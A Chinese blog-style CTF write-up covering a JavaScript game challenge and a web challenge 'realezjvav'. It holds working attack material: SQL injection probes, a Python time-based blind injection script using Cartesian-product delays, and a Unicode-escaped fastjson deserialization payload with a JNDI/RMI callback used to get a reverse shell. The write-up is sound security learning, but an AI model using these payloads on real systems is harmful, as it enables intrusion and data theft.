比赛昵称:别答了别答了再答人傻了
比赛情况:
孩子太菜了,后面实在不会做了…
WEB
Ez_game
小游戏题上来就改js
发现游戏关键函数,直接改数据然后Init()
,最好疯狂NextLevel()
跳到第10关
直接从第十关开始,上去撸boss,出flag
也可以本地保存,直接算js的flag,或者开god模式.
再不行…后面还发现了个函数…boss.Kill()
realezjvav
hint:我的代码不能注入吧
打开登陆界面,第一反应注入,冷静下看数据量很少,拿出祖传20w字典爆破。
再冷静下测试一下,确认是sql注入
username=\&password=or 1=1# ·不报错
username=\&password=' ·报错
username=\&password='' ·不报错
username=\&password='# ·不报错
username=\&password='or 1=0# ·不报错
username=\&password='or # ·500报错
username=\&password='and if(1,sleep(10),select 1)# ·不报错无延时
username=admin&password='and if(0,sleep(10),select 1)# ·不报错无延时
发现没啥用...
推测后端为:select * from user where username='$username' and password='$password'
过滤了sleep()可能
这里没回显的就延时注入,sleep()
,Benchmark()
,或者笛卡尔积
笛卡尔积延时注入
当然延时不精确,count(*)数量大时,费时就高,何况比赛机子极其不稳定,不清楚是我卡了还是机器卡了。
笛卡尔积延时注入
count(*)后面所有表中的列笛卡尔积数,数量越多越卡,就会有延迟,类似之前某比赛pgsql的延时注入也可以利用此来打时间差,从而达到延时注入的效果
参考之前的WP:春秋杯2021新春欢乐赛一道题——按F注入 对pgsql的研究
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row in set (2.07 sec) mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); +------+-----+ | user | pwd | +------+-----+ | 1 | 0 | +------+-----+ 1 row in set (2.08 sec)
甚至数量大了把我数据库给跑崩了…
payload:
-1'and if(`payload`,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#
脚本:
"""
-*- coding: utf-8 -*-
@File: exp.py
@Author: gyy
@Time: 3月 14, 2021
"""
import requests
import time
import random
url = "http://{}.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
# {}由于开了多个靶机,每次随机访问某个靶机,可以减少冲突可能
def req(payload):
payload = payload.replace(" ", "/**/")
print(payload)
data = {
"username": "admin",
"password": payload
}
url1 = url.format(random.randrange(1,5,1)) # 随机访问
# print(url1)
res = requests.post(url=url1, data=data, timeout=None)# 不限制超时
# print(res.text)
if "504 Gateway Time-out" in res.text: # 504即为正确
return 1
else:
return -1
def binary_search(payload): # 二分法~
# payload = payload.replace("=",">=")
high = 127
low = 32
while True:
time.sleep(0.05)
if (high - low) < 4:
for mid in range(low, high + 1):
time.sleep(0.05)
if req(payload % mid) == -1:
return mid
return -1
mid = (high + low) // 2
pd = payload % mid
if req(pd) == 1:
low = mid + 1
else:
high = mid
def version():
resultstr = ""
for i in range(1, 100):
payload = "-1'and if((ascii(substr(version(),{},1))>%d),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#".format(
i)
# 1'and/**/if(ascii(substr(version(),1,1))>64,1,1)like/**/1#
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "version==========>" + resultstr
print(resultstr)
def database():
resultstr = ""
for i in range(1, 100):
payload = "-1'and if((ascii(substr(database(),{},1))>%d),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#".format(
i)
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "databases==========>" + resultstr
print(resultstr)
# databases==========>ctf
def table():
resultstr = ""
for i in range(1, 10000):
payload = "-1'and if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('ctf')),{},1))>%d),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#".format(
i)
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "tables==========>" + resultstr
print(resultstr)
# tables==========>ctf
def columns():
resultstr = ""
for i in range(1, 10000):
payload = " ".format(i) # 孩子没跑了,太卡了
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "columns==========>" + resultstr
print(resultstr)
def data():
resultstr = " "
for i in range(1, 10000):
payload = "".format(i) # 孩子没跑了,太卡了
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "data==========>" + resultstr
print(resultstr)
if __name__ == "__main__":
# version()
# database()
table()
# columns()
# data()
孩子实在跑不下去了
py出题人换了密码no_0ne_kn0w_th1s
username=admin&password=no_0ne_kn0w_th1s
登录成功
js加载图片
发现/searchimage
可以目录穿越,读不到flag,可能名字不对,读到了pom.xml
抓包看
结合应该是fastjson反序列化漏洞
fastjson <1.2.68反序列化漏洞
直接payload试一下,被ban了
需要绕过,JSONObject.parseObject()会自动会把json字符串中的Unicode码进行转换,所以转成Unicode即可
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A ip
再起监听端口
最后打payload
roleJson= {
"e":
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"name":
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit":true
}
};// 需要Unicode编码
roleJson= {
"e":
{
"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073",
"val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
},
"name":
{
"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"dataSourceName":"rmi://ip:port/Exploit",
"\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true
}
};
服务器加载了恶意class文件,成功getshell
编码问题,整了一个小时就是反弹不了shell,原来是java反弹shell的编码问题,去网站编码一下就成功了
总结
孩子好菜,被《简单的签到》搞傻了。查阅了不少资料,拜读了很多大佬的博客,虽然最后还是没做出来,等等WP康康大佬的思路也许比自己忙活半天有用,当然少不了原理的研究。
继续学习啦
(想结识更多大佬)
评论请遵守评论公德,博主会不定时检查评论并进行回复。